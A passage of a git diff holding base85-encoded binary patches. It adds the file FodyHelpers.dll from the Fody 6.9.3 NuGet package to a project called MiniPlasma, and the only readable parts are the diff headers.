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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyHelpers.dll b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyHelpers.dll new file mode 100644 index 0000000000000000000000000000000000000000..23a39061f821c1afc8fa13d044da84ba267566b4 GIT binary patch literal 49664 zcmeFadt8*&_CLO!XYK=xGlPOC>L8#aB8nhNnaWM2R8%yrEFEA#5*V5R6%7Nm)b5sb zvMXv=X+3$&}6c-1Vplb&F>wG~boGfva_hMpvkWt0>#Y0N+^ z@ncjPjVlVff&h)GcP=_1=mKi+mIGA{-l3>5kP2Wok5Y{p<^ZD0oh3Wr~ zWn(PfbePCY2oB_Wf<=JdVc>)wM2)M+;vEhm_TboI1FxDb?GwfA>4}Ez>HULGLw$RC zl4X1PfZ#Wbd%cme)(lc49%qql0gdg4((z+VbR2%7&92Z3sK9Orpx4Z!lnk>WFakvb z=n8vaB!f(V;B^W$25$%OVw}vaK6IAD80-MUyqbyN+bm;;1ET=cKo+3+g!x5ihtQpN zFS>GMj3qNp6IlY;U=A~T$Kn#o0Z7*k{h1Brf)Nrdx6Id^IXK74_X6N;sNcAT zfwvH3ra7?eZCIbD$d#O*8>HQfq=BV8n$Pf^@Gw?YF8Q7FGSKsOnXo zcW7MqIvwFE1VNpB!VE#cKvK}W5(EsSIE^6)7#IkRAqW`pVTK@J^bIov0RtnV6%hoC zgfK%8FcQNILBPP!Xhj48BPq-f1dIV;h9F=dNoqv|0V6rg5CjYiqNX8;IU`T?PM3~F z_LK-1999qns|2EzBV-LO9CjE-&43{0410n$7ut}>_)lG9frf;yx~2xGOuT9!C(Lib zMhFpriN}&wj$C!k((X!ccPX)?m4jAYQ`=qX9afqvmRQot;i|5=u)ET`U6xqV%2B4S zS=L?Y04tS?C6=^ung`RZJRCa81EHfl z1nQawz^FdLHozR3FaEHkm4`uH6X>q=0V}lvq_?r8mB&KQA!i3GIPnaHh0xgmZ9E(q zoNEn)^hY3Fp-)iMZdO}^kjX4HuVz%Hs)hy@plo0v0G5bPxw>#O_5H z+hb%!jI{)6Km-t?_BdPq)96`S0HFv%*1*iqY{4^OG=Rvnk9yY@To@r+BCZp#xWu5alG-M-I8gx1dxC1pSrkzd4HtRh4e{@Vn+k%Y%RvH zI(gA`s|i14x@07H+GxR&F@x9aA)gy3D!QiDeTwcViv9-<7Jf&;>+X_Qs!8*1k+hul+Su$tlSUgV5*}zILG348! zrM1TrXaOtJm=Jr=kr*2tpV+;JqTk^$6F5gagllqZVI%qwG@L}@gjNPKB;ep=7T}CcrOGe-5zL%io}OXNbPLg zrFxNFkhJ@H*Fu=7Z+Ojtb)e=X@;#P8?$1Ow_%6C|pm#lMI^RatQoNS}m%En?QoWaf zupcxH>uW#Aj%xQoL&)YOQ=Z%h83^f@u!6bzhc-YNd{a%2d-jE7$c@IxU7%8 z5_*^QIV-d37*V}iS7i#SzoDDmO_wP)5C63Niy&ZNfHa06uw@_*Y+{^U!9x=G<)~Zr zh5!wTfoo7V;`>^5fpwAkDE^eX#=vGM<4#t}Y*$0qfo$bws-f!{L!b#9MhnO=L#sWz?r!%56SmzvOPC4s%bk64y z9c&83@{x!RvIou|_~zNHx=iUOEQoMz8^t$WIu8-7?V18JgonKgPt?%OT+0ZJ#rO8+ z&@JGkyNnX$=^@0bIdChp^jVM?;8_rFHn_~*+ZeODtbyBs1nvNEm;xQRsNf;r^z_GN z4Pnlh0~miSCz&>f5qjHLKTr&o%c`n;t87*SQv@Oo&Ae!sO_^4ct{U17{d9*Vumjh4 zo5PYB>#~LJ1QFN?;Ii6Ww!mG$4#v8ynHH3iHQkt*=|ze&XQn&MqinJ>jkk}qIn1)s z#oG-w7XmDZa|SM!+KymvF>9)JK=0JF~J82MKIfD+~r^#O8w6rbnQFz_+&UEW<>)50rCqhRdN>^L4E*Ue}A3ORHhA@F`*g@FMfrnu= zX5?fnBaZ-!wFVx=CGZ%7KLW&!blL)s1JULx0@iHPJo(!}yDbxh!~}{z0i{t-VRb_{ zqe=Serd1Gc8oAnSk{aU8F0)q0lU&DBY}zuiIP?W9^8|2PyibGI+60dg#wW~QLJ)ce zEUz6Nj~d{zu4Y+aH0NLT!<;T&V*Ft%tZ)_x8LUX!0gEqrXF^0JHt z4`(=*jGzO7X6QP?)6X0^<_v^&p4T&1=&#VWn+>ha-0sy3hh*`-cjTxGH2Z-)FpfO< zH|~$Uz`d9UBfW6|*kU{nMq>8B;26}U74KQ0rZdW9 zG{Gn>$avlm*bhw{Ug|o57eEGH1i%h5nr8^S1g3T$Uxaq?-@wqz;H3wv;g{?f(`8ek zqbs|(H+G>9hS4_kFji*nr*kpC`7eCy5PXr9X2W*tbSSA)&(3X(9ZoEcG> zsjF;{s7%&WDk3VgbQR=f-Ipnv%Eb|tGF=7PT30F1RBno>pmW3*D#+P-MdLMMHr*@TQKf@s*44 zHO%LDVw!`7uN)bC<>BWmk1=0)AoZ1qnYB>U~{(E-Q9D6B4pZZS{HG#X`dTB4%ULpMvVJjKY0>!nD0r z_+8e7g!=icj_U<{T@`r%#q3CFgo!V(6+;YS4FEgD=P$vxvi3IhmFlO1YU!B@H&pq3xOq^P%^Z& zVF)3A%3A$8_*kpoz{MPRQ{Y>Gp|=4tvO?gP+p43jnlqyR%L?8M>)N`L6@0r34}HWX z8>34m82GtF*gLcf8#!a(9aLlpyvx-^iFjjYSd+#I^)QqHZH<*4VV$P4bd50CHxS?g zVba*0?90nTv{cA&#g`dme=N7is(H;UzQh0k>*3H*m;*g+FqHdNI@94eMXkD;>A)wD#HqFbvYNKbZEY2` zpEWhFx|(U(_R6MG^QFJ;%fV^t5KU9p>(7q7ruCxQSF@#6B$CUuj)jCPPp}`fsNS!* zr_C7!7)T>p#(yKxNBofv2VEWRFzJ>P3EVW<%4Rf#B~nQy9=l1a65&QhP#vN*R`ZR8 z(iRaSYjCfIpUj0x?cQQM>Kq&y#~~+j`m3us>?8nlV$=j_zG@$7Nsv7|ZaG%3g1nVG zo1d6?zeS@msIdIZLWQ56<1ZGU<+)j7vU0}cWal%-M0J4k#t@~hA=-oM!V$pBn}W3s zHJF;%`y(aC+QFM&PH9!zyA!F?=9gkgqFm7X;~^`o3m}`xpNeo@Fl2j-4Q1#jC5La2 zxOU7)%EAZDr|^_VSq(&BCV^AMX29e7L+B9~(X_CwewXYmu1> z`g&5#G`Jtbrv(1p9hVYMn^U;VS0cSA{x1n;x})EefoA$cUxo_=e?sti0xuFcN%*dK z)*0qzSm|cVulFm(xn+AA!vk)Hw)D~gcDgxz+F&~kbWa=Xphd~|B$??m<+#C2Ta?lP z4oY*}ljNq?g;P4@@56EGs&d&629yp+Alu-$6bC&pcx#e_J{7nE&`ibwdtqS)G#&Kj zFqRe$x(D!!Aq=lTEe^6uU4F4VHJ&vq26EX3vFwHA1gcGogXd55;Tq?w#|^L1+<`=I z(O*5>Gk@}O>sAihYjDt@H1_<@u;!*I(%#K3E_DT3?Vv1?K4DRwwtLmiQ#kN zgE!ujQX`ffbeq!G7_V?G4m!=nmYY4hQq6R4ABO*l=T@JFo-xz2gSa0ab$>t9OgCWE zFkYz9P6^IwgUxhWV(EYZbn)z=$|#AbNl!_5serh-Abq zZoB8W`=*vgs9(|NO!3@tQV>yG3LKdTlvyYPW@;O#3o%9JLt+-{MzobFt5CI=Dooix z5&3l)PeUhtF6GR~0PUdO7?S6mkJ;6S+F^55DpMYsBh+`X8a0;`%%J{pdAPgwz%FZE zm&UR*p@?b*Fg1+MhUZSI=);tk7DAIKBsFBvc_OP9StialSTn`Lnpxx*YDGFzqp4nM zctFbK(kfD5Wt1_`dz^BSGq~L4VkH+XU}~JyJ|6G)Fm?5yJntyw9C}dt?9KS^hnC_^ zl1GH<)Tu{>I?z{>JtovbUG_(zE*I)NdP1l^qIn)YDb$l9TSQL_HB4mZ({7=j71?6i zBh+m=wO6Q2(Og3N$bcS1qtJUkdVvfnPWluvF&|GyUx}is@zkVC)<_>ll?&1*QB;Wj zA{1xK`P4*T2vsRmGyPSlc~Zl2I*M`18@kmzjQ)^t8{h{6I?OIoN9+Jh7;%?bp}U9d z0zP-dgTODcFx+W*6mU!o!{^OU18x$|nX&tTFBASU!JmnJ6P(hR4*?bXUjU!7b^=c}_@#yMKM9;BoMi$pjbZ+_m@fcd6=;uT{J-X}0TV6%Hk-|_89K~ox3wq!1b9Uf zLzDL>a~`b*CyxpT{{+uH{dWMb7;u+4g)WcX0k|CJta&uedl#hnkcRmqV-<@+ovCKP z2U1*sbA~1XR-`fPh)n?;A-**xylGCLCsNp-4^oC%Qs@G6HsB=!e=#w>P4Gp64-$N` zz)ywqtiXW+PZzk=$fceZ__4sB1l}sr)dC$cdC2zGr2f z9|R@}XM(`b1U@V96)E+1fmMJCaX+Nc91HhYuE1k4r-KuXA2f5nF~>|<&K-a&6DC{o zXqRECB>_wOS%9iiE}TWcbLdg@*bs%`ugcSat5wGLtNQ@I7d*|tc*yWI;MInIV~lng zd?NSA( zsW(|>doT^?vi`q#IO8siPEKrtHyw>o zpIiFTzl74fP9$R*m%Ge*Yr;P*i4?0-cPD%Ys-I9VDvJ`GIGxSXWi^S%ElHH8Q%#AA zHHjwcntvVS#JS-@U3P5HamzqjqEr7Jq*w=Hzrgjqs1)|GTa#&>E-UNfvJR#zbn1dW z$)L9Anks4^LJveJuhl~@MW`{>p>#|y*9V@Z(Q%y`4A0VV@~yS+t6>wY={WM!s1w7A zt-~l@s27#l9w!Z_%n0SRdTDBe8iS{?e!bjzp5vBGs@JKd9>tnT%XP{KeokoQ^b?(qhtf$kNI<UC^&(&d_ zOjqfY&vhTD8+Fa~$xm9R&`w>};M!v?qz80rjq3$aPYCs*a#o^3Mf8+L+1edhpmqzj zUUEngP3N0<(&ls#EfMNQdTrQi)*^aKr`||<&ssvC=v3Z_kFC?_Yn?ir_OZ2;9Jsp* zTRDr8yHUA9-AI4$V^+?hJ2P05bHO3&OnOG6tp6EakGIvI*Qvg7lR&*Hl;&9(9TMtB zs`h?qEu*TDY=x=st>yHlPCc1!vYkWUN2plaA}Yz$G?lbH>JnNg)MoN|lWaaJ9>p^D z#cTD`xf&(D)KG;^-92oWt%mA^`cmn1DO5xIb!ursCS>nvnzS?_*H%k?`DTzd)7Jw& zwJgKy>l(G&JI7E@R|?fmlLzJ60<>GGFO{VUr`sCo1);PY8KOf%t)ubCSs^lyW-FIj zJ5r|Fn#n2DI{Ht7*V;_kx~zEUY}*Q&sLQ6IMJwohUA7=?wylNyI#rJ+)Gbu6X4bK+gj;w8YQvRMtyOg&7<<+pn$E7 zj5$ngrXSO;vTdRXI`u=!W>EZRke+{D-ehO$MP)~yC#_fMvKN)x``m21CPHoLv&(ip zEfy=>ON*>GP>V)UXuuzBH`0|6>KWS~C^naiZl?VSFW7FPWTDz=pX+_wR$7X)Azl$K zb#1lYO!o`bPQ!;jX}yKU=V`LFt|zUx(OjY0>5!q*b_cB&N{h%2dQT|!eQc;nfh3#z831RPTefjS332eP~YlQr&#$(r(PFIJ&i}@GV3)$*>!4_P;Q-i zN~i%kwL_?(I+Z0gWaw0qP-AtfpS0mLo%&T|g*vrYs53PRBkiQ^RIbZ7Gwh)Abn5A0 zzksTWXex9k)petqx=|PFau^N z8tiw`GZC4S?xJ@il+}JWb?TaIu(${EhU;Di@EJ7)CKV@l@ z^)hEYsJw{G393YwaSad9%!urO@&GN0Pzvs4tAtudx6?rTgS0}Y%9OS0Lv*=LjaJvH z57TWzX*2E-+9i~hBOjqhbj=~OR(*tC)~OgJ#r`OL7gg>t`ZcQDV`Q1g?OTU+*h!C( zO{X$&7yCzw(J8xXw?0mBI(3=q#NBcqoq9|4TAw19PW=kmGZe2=qwzxG|4=`jT4UI1 zeU?&mYOCQ%>vJ?pD6K_%C|@Y8MSG|~*E~wY?R#iilx#1R>9SYo2Gd@uh>|@|7wWQ2 zXwmc3s#B+-Mf>Plof?1^?Wa3*>PC3|B0Z>6pP@xB(X%?$$Kb@B`|CP287+F1J`qau z^L6@Mm#w5M`|D(q&5kB}gW`l*hrS$Ve}g;`nTg({i9&TMZ(ZJ*!9Rhk&rQ_A`(eTto&LK^;c zY*;7Uu4v2uTm9~3H4Fc@;J>8pnzes9xqohS_4HY5#Z%JTnr3gDdsU&U`a5A`&;Z8y zL6k}v(o0w2VTekXrl=T;Plh|4Mmh$mLQ93uUji|R)JV?{=kEo+1s!t_9gc*PmFlu~ z^>EFHlh>vB!=n@KPi}iOt{~pH2Mhyy@_TYrxzp|5#xDC|z7`2xBNeXeuBdt$SILIB zRV0#C=|cm}_j0@HlblWyEdVsryO;|W^pewQrSep#(?Z!_Vm9o_}__6mPq3!{-H@Oxy8EQL=E#o+b1k#YTLRQ3j~%5oFniYfj)t?0xuHSBCs8>A8i7}`6u8&@+rS~QUqdU0j|(T z0$u7ap5e4f?yB-tUI$|7>S6hmubzQyp08ewEZ&!ncuJ{2J%X%V3Vnrq0&4|smRefW zqVx-JD*k#uKhCkg>4!6SRf$^(sHV5lCUw&Q4PQ^Y=xWz>^p3*!K)aNOoww6wH5q%E zWZKc^UfN3yDG%d0z%QQXX{&l(`pc9_8xxMwHuVA5H#pDu#q+b+G~-3Npz$b86wP9K zEGbDjDxS2f*CdQo+SP)@9B{sf%?F;7G#T)kgd*Y3P%}%8dzWFdlcnYA584_dMOa0t#qs`D~=m6s`rQYZ8qA{O`s8t?J9(zNTz-X~J;R*P^*w`g|)!zsR&(#^@K(G%9(+Co4uJWz1_aNNj_ zmzk~T6^0w>3cxGrTC;<)k(}LBs$6DvBeyZE7uYIrGay!5^#<_cRF=8~_7j){h~10& z2k=vXr@_)PEU9klunfmLG_Lq8yiIe3ISb!~_{g4xx1SCJrjinqMI-T^GQ$gF8NL;l zg{KqVK3Vt%&T_ya+5~tO-3VAtF9V)Op8;0V*MQ5&%{5a=jv&hlKxy@Q;FXQ9LPJN>SKzgTlRJ z!V`xMi%sEDHidOOqT>;1ifE<^Csi~@h-QKCi-cb!e4lVCg;ObQJ-aIYp!e z0*geaNOX!tXNmBA0xLyYDbjY~tP{>U;dBURo4_5y-y!@x!r3cupYZnyf1k?z*$I4^ zvs0v>tJl+4uA_jL#gjqWBG6!9&kcA30X=WHo_550gr6cXRivpREf7u-ILn+x!tn{G z(r^VWaaS6CMvavQgK~wrUHI#SzfSn;gx?|jZ31^dy4<}(q&q~q3pSTI_lR__z^Qfi%)S_hra-0MVVo#=Fk&JOUebng)U z4&mQv!H)<|X7}9}>J%AX%in0zCp#1WplHAaIF5pTIVO?E*UlZWFji;9h};1a=A}tJoLl z5tt${&B}e4W|cWBoC1MM1o{M4iB7xV+XU_v*eQ@~Vp*U^V2Z#3flCDX1hxrm7r5TW z^==b>RfqJJ015;S>lg#+NUbIemh+3*07fufRi6>X7{wy2#ln93_UW z8DqGVNAMJZQv?Aa(%Wo?0TfFP3LkTP%-kn{e8N zvmOww6MV10{le*#vPT40;@D1#z_d8lFA&@ZSmJ6Ie7*43$MNWF6aJmT*$aG*s}p#K z#fWdAE^{t%ux~!#@JH}=!8-)sCiot~_lv%<50^^m!#+&u!~I+!xKChJpB><|3%*U@ zox<7EhsWhepZg%Kat^@veA=9k(a+BHg5T+6oBIVfx)^VBu~!`e_XylC{6m5t0q%E_ zn{|wC*7pcLMc@*FRl;u*yhGrfZkeZo9}-Ad&k-{MrwCjkuub6lc(%Mgp8K#vIC}){ z7yf?X9}*7r6*~f_2wWntO<;$>JpvC2Jkpo@f%-`)fl~x75m?oarEP+D2;9?;d+(6o zl)$Ch1RfITNn}o1qV${K>jm!+{D|P5{;ab^;GzC(jglA|@irr30C)7MLEpjJ6oH2X(qQIz1WpmSMBq7iOZ0L|Q|2i96uWwXdXxHy`h@zv zI>a#Au+XsFu-0(3VTa)fgV$JOoNHW)pWn$dtv20by5ID=DTes|d;s==$@m`MVBDpr zf+_(vl{_>J_v_QKiz>xk>sgdeGjL}=6NdozC6w5SRwkYas0?OU(Pu8;P~oV<&j()T zVZK-J`@OZm(>+aqi;`CXjvH_Z;LnNc0h5v#zAN~h0w3?soG%5gN@0A}(2amE3*4W^ z_@%CE0oS^2VcgLH`15eq>>qb$1b=hbJ;3iwc@S{=(5C>;OJn#a@AH6dV*e}0%fR0k zc#*&p0{?@iiFl*48uy%YP!;h00{!8HP z0v{Flg-G8Pc)h?i0(T3%Ti{sH93(JFY#Ics?~aqJ8RG98ksK61LX(_Fp{k3|PgRRDdeZKoWtE0>p_nY%6%HF$wq>+?6OeDH;fT zENWA5A2JAdE^1TohQ|=#d5BL1Z*8OipMc24sScn@r=foS&46^^6H&iHX8@{rCNl!~ zWI&aspne6XPa}aBqJDmpVHEJ`s2^|T0jh}kY~V8hRlHrD19%QlTcseZs<;a(LfIxjm6|c56#Sk>3Ggd1t8g}o8u&YpX8~S=Ii=FIR0g;i z?~|%@9qz4E+>Oi!+(HWgZ$QmB(Z=1DN`Ij90dJzkfLrlaq)Io#7nN?oyP+!13Tgmv z!<*nLo`5X_yaR8Es?Lc2 z`e>p03GmPG`GmF^S18+zmnd^gSI`BfPw){BCr+wdytueF)L7?hDXQ~@LSq(>p^207 z7cb6XWL~gkYHdT+yg;CCQiaZAVRm*di?b@50znq&bWdaB#aNFT@|juMP}@}NtE&z9 zxi}alEB%$tP5ycQP}AJz2Ax?{=l3ck2Eyty6o(j#o09Rq;eK$Z3WV+t-6rg2DDpSLHBkT%#%2rO{FCb&Gr7EucFSs 